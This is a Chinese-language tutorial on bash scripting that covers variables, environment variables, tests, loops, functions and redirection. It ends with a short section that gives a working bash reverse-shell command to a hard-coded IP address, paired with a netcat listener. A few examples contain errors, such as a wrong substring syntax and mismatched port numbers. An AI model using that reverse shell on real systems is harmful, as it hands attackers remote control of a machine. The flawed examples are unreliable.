文章目录
解释器
shell命令解释器:sh、ash、bash
echo $SHELL #查看自己linux系统的默认解析器,我的是/bin/bash
$SHELL
是一个环境变量,存储当前用户使用的默认shell路径
编写规则
1.shell脚本定义使用#!/bin/bash
开头
#!的作用是声明脚本由什么shell解释,如果不定义,就使用默认的shell
单个#的作用是注释
2.创建shell脚本文件之后,要给该文件赋予可执行权限
chmod +x test.sh #或者直接赋予777权限也可以
3.执行shell脚本
有三种不同的方式:./test.sh
、bash test.sh
、. test.sh
./test.sh 会按照文件中预定指定的解析器进行解析,如果没预先指定就使用系统默认解析器
bash test.sh 指定使用bash解析器,如果bash不存在就使用系统默认解析器
. test.sh 直接使用系统默认解析器
变量
定义变量:变量名=变量值
引用变量时,要在变量名前加 , 即 ‘ ,即` ,即‘变量名`
使用unset进行清除变量值。
#!/bin/bash
num=10
echo $num #输出10
unset num #清除变量值,这里不需要加$
echo $num #不会输出
从键盘读取变量,使用read命令
#!/bin/bash
echo "请输入num1和num2的值";
read num1 num2;
echo "num1=$num1,num2=$num2";
或者使用-p参数,使提示和输入在同一行
#!/bin/bash
read -p "请输入num1和num2的值" num1 num2;
echo "num1=$num1,num2=$num2";
环境变量
使用env
命令读取环境变量,内容如下
SHELL=/bin/bash
SUDO_GID=1000
LANGUAGE=en_US.utf8:
SUDO_COMMAND=/usr/bin/su
SUDO_USER=ubuntu
PWD=/home/ubuntu
LOGNAME=root
HOME=/root
LANG=en_US.utf8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
PROMPT_COMMAND=history -a;
LESSCLOSE=/usr/bin/lesspipe %s %s
TERM=xterm
LESSOPEN=| /usr/bin/lesspipe %s
USER=root
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
SUDO_UID=1000
MAIL=/var/mail/root
_=/usr/bin/env
环境变量的作用:写入其中的变量被设为全局变量,在shell脚本中都可以识别。
那么如何将变量导入到环境变量中呢?(这里是临时写入)
可以使用source命令(可以使用.进行替换)及export命令进行写入
例: test.sh内容如下
#!/bin/bash
export num=20; #export命令将num变量导出到环境变量中,但只是临时写入
接着执行source命令
source test.sh #或. test.sh
然后使用env命令查看环境变量会发现已经添加进去
再写一个shell脚本运行测试一下,保存为testt.sh
#!/bin/bash
echo $num;
可以看到在其他shell脚本中也可以读取该变量
也可以直接将某个文件夹中的文件直接添加到环境变量中,
export PATH=/root:PATH #将/root目录中的文件添加到环境变量中
永久变量
上面使用的export知识设置了临时变量,只有写入到配置文件中才能永久生效。
~/.bashrc是一个配置文件,常用来配置别名、环境变量、路径等等 (要在根目录下进行)
vim ~/.bashrc
然后输入
export PATH=/root:PATH #将/root目录下的文件添加到环境变量
保存退出
source ~/.bashrc #重启该文件即可
已经预设定好的变量
$# 指shell脚本的参数数量
$* 指shell脚本的参数内容
$n 第n个参数是$n
$@ 传给shell脚本的参数独立作为每个字符串输出
$? 命令执行后返回的状态,用于检查上一个命令是否正确执行(0代表正确执行,非0代表命令出错)
$0 当前执行的进程名
$$ 当前执行的进程号
例:
求字符串长度
str="ewhfidcsj"
echo ${#str} #输出字符串长度
按照位数输出字符串
str='abcdefghijk'
echo ${#str:0:4} #输出abcde
test.sh内容如下:
#!/bin/bash
echo 执行的文件名为:$0
echo 该文件的进程号为:$$
echo 第一个参数是:$1
echo 该shell脚本的参数数量为:$#
echo 传递的参数作为一个字符串显示:$*
echo 传递参数独立作为每个字符串显示:$@
echo 最后命令的退出状态:$?
然后使用bash命令执行,并添加参数name age sex
输出如下:
脚本标量
" ":双引号包含的变量会被解释
' ':单引号包含的变量会被当做字符串解释
` `:反引号包含的内容会被当作系统命令,并执行其内容
\ :转义字符,echo命令使用\n \t \r \a的时候需要加-e进行转义
( ):使用括号包裹的内容由子shell完成,不影响当前shell中的变量
{ }:使用大括号包裹的内容在当前shell中执行,会影响当前变量
条件测试
使用test命令测试字符串、文件状态、数值
test命令格式: test condition
或[condition]
文件测试
即测试文件状态的条件表达式
常用参数:
-e 是否存在
-d 是目录
-f 是文件
-r 可读
-w 可写
-x 可执行
-L 符号连接
-c 是否字符设备
-b 是否块设备
-s 文件非空
直接使用不会有任何回显,需要手动加一些回显,例如:
#!/bin/bash
if test -d test.sh; then
echo "test.sh 是目录"
else
echo "test.sh 不是目录或不存在"
fi
字符串测试
格式:test operate "str"
或test "str1" operate "str2"
其中operate可以是:
= 两个字符串相等 != 两个字符串不相等
-z 空字符串 -n 非空字符串
命令执行测试
命令控制符
&&: command1 && command2 #前一个命令执行成功才执行右边的命令
||: command1 || command2 #左边的命令未执行成功才执行右边的命令
多重条件判定
-a : 两种情况同时成立才为真
-o : 任意情况为真即可
! : 相反状态
控制语句
if判断语句
格式一:
if [条件1]; then
执行第一段程序
else
执行第二段程序
fi
格式二:
if [条件1]; then
执行第一段程序
elif [条件2];then
执行第二段程序
else
执行第三段程序
fi
例:
#!/bin/bash
read -p "请输出文件夹名:" $dirname
if [ -e $dirname ];then
echo "$dirname存在,即将进入该文件夹"
cd $dirname
echo "即将创建文件test.sh"
touch test.sh
else
echo "$dirname不存在,即将创建该文件夹"
mkdir $dirname
echo "即将进入$dirname文件夹"
cd $dirname
echo "即将创建文件test.sh"
touch test.sh
fi
tree
case判断语句
case $变量 in
"变量内容1")
程序1
;; #break的意思
"变量内容2")
程序2
;;
*)
其他程序
exit 1
esac
for循环语句
for((初始值;循环控制;执行命令))
do
程序
done
或
for var in con1 con2 con3...
do
程序
done
while循环语句
while [condition]
do
程序
done
until循环语句
until [condition]
do
程序
done
#当condition成立时退出循环,否则继续执行
函数
函数定义
#!/bin/bash
function test(){
函数内容
}
test #函数调用
函数导入
例:在内容中添加source data.sh #导入data.sh中的函数
shell脚本之间相互调用与重定向
相互调用
函数调用
main.sh脚本内容:
#!/bin/bash
source ./1.sh #加载1.sh
func_1 #调用函数
1.sh脚本内容:
#!/bin/bash
function func_1(){
echo 'success'
}
参数传递
1.sh脚本内容:
#!/bin/bash
name="shizhen"
age="38"
2.sh脚本内容:
#!/bin/bash
source 1.sh
echo "my name is $name ,and my age is $age"
重定向
输出重定向(>和>>)
>
的作用是覆盖写入,如果原文件存在内容,会覆盖原本的内容。
#在此之前没有1.txt这个文件
echo "66" > 1.txt
cat 1.txt
#回显66
echo "77" > 1.txt
#此时1.txt中已经有内容
cat 1.txt
#回显77,说明覆盖了原先文件中的内容
>>
的作用是追加写入(换行),不会覆盖原先的文件内容。
#此时1.txt中有77
echo "88" >> 1.txt
cat 1.txt
#回显为77和88
>
与>>
可用tee
命令进行替换
tee
命令作用是将输出写入文件,并将其传递给标准输出
tee默认进行覆盖写入文件,并输出写入的内容
例如:
echo "hello" | tee 1.txt
#会覆盖1.txt原先内容,将hello写入,并输出hello
当tee命令使用-a
参数时,是追加内容并输出追加的部分
例如:
echo "world" | tee -a 1.txt
#会在1.txt中换行追加world,并输出world
cat 1.txt
#会回显hello和world
输入重定向(<和<<)
<
用于将文件内容传递给命令,而不是通过手动输入
cat < 1.txt #将1.txt内容传递给cat命令,命令输出该文件内容
<<
是一种特殊的输入重定向,允许在脚本中之间嵌入多行输入,而不需要使用外部的文件。
使用<<指示文档的开始,并指定一个标识符(通常是EOF)来标志
cat命令会接收从<<EOF到EOF之间的所有文本作为输入,常用于嵌入多好文本或为命令提供批量输入结束
例如:
cat <<EOF >test.txt
line1
line2
line3
EOF
#会将输入的这三行文本保存到test.txt中
拓展
shell脚本中,主要是对标准输入、标准输出、标准错误流进行操作。
- 标准输入(stdin:文件描述符
0
,即输入流,用于键盘输入。 - 标准输出(stdout:文件描述符
1
,即输出流,用于显示器输出。 - 标准错误(stderr:文件描述符
2
,用于输出错误信息。 - /dev/null:空目录,可以用来丢弃任何写入它的设备
- &:可以将标准输出和标准错误合并到同一目标;可以将文件描述符重定向到其他文件描述符;也可以用于后台执行命令
1、&将标准输出和标准错误合并到同一目标
ls sfvid > error_log.txt 2>&1
#sfvid是一个不存在的目录
首先> error_log.txt 将标准输出重定向到error_log.txt中
然后2>&1会将标准错误(2)重定向到标准输出(1),此时标准输出(1)已经被重定向到error_log.txt中,所以标准错误也会被重定向到这个文件中。
2、将文件描述符重定向到其他文件描述符
ls 2>&1
3、后台执行命令
sleep 5 &
在后台启动该命令,不会阻塞当前进程
bash反弹shell
#在攻击机上监听端口
nc -lvnp 1234
#在目标主机上进行反弹shell
bash -i >& /dev/tcp/192.168.0.30/1234 0>&1
bash -i
以交互模式运行bash shell>&
是一个特殊重定向符,用来重定向标准输出(1)和标准错误(2)到同一个目标。这里是重定向到/dev/tcp/192.168.0.30/4444/dev/tcp/192.168.0.30/1234
是bash的一种特殊文件形式:/dev/tcp/host/prot
表示连接到指定主机和端口0>&1
表示将标准输入(0)重定向到标准输出1